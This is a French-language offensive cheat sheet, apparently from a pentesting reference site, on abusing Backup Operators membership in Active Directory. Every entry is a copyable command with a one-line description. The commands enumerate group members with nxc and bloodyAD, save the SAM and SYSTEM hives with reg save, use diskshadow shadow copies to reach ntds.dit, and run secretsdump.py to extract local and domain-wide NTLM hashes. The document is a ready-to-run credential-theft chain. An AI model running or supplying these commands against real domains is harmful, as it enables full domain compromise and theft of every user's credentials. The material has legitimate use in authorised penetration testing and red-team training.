Exploitation

Backup Operator

Abus du groupe Backup Operators pour extraire SAM, SYSTEM et ntds.dit.

Copy command

nxc ldap $DC -u $USER -p $PASS -M get-desc-users | grep -i backup

Description: Identifier les comptes membres du groupe Backup Operators via les descriptions.

Copy command

bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get members 'Backup Operators'

Description: Lister les membres actuels du groupe Backup Operators.

Copy command

reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM

Description: Backup Operator peut sauvegarder SAM et SYSTEM : extraction locale des hashes NTLM.

Copy command

secretsdump.py -sam SAM -system SYSTEM LOCAL

Description: Extraire les hashes depuis les fichiers SAM/SYSTEM sauvegardés en local.

Copy command

diskshadow.exe /s shadow.dsl

Description: Utiliser VSS via diskshadow pour accéder à ntds.dit en contournant les verrous NTFS.

Copy command

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Description: Extraire tous les hashes du domaine depuis ntds.dit + SYSTEM récupérés via VSS.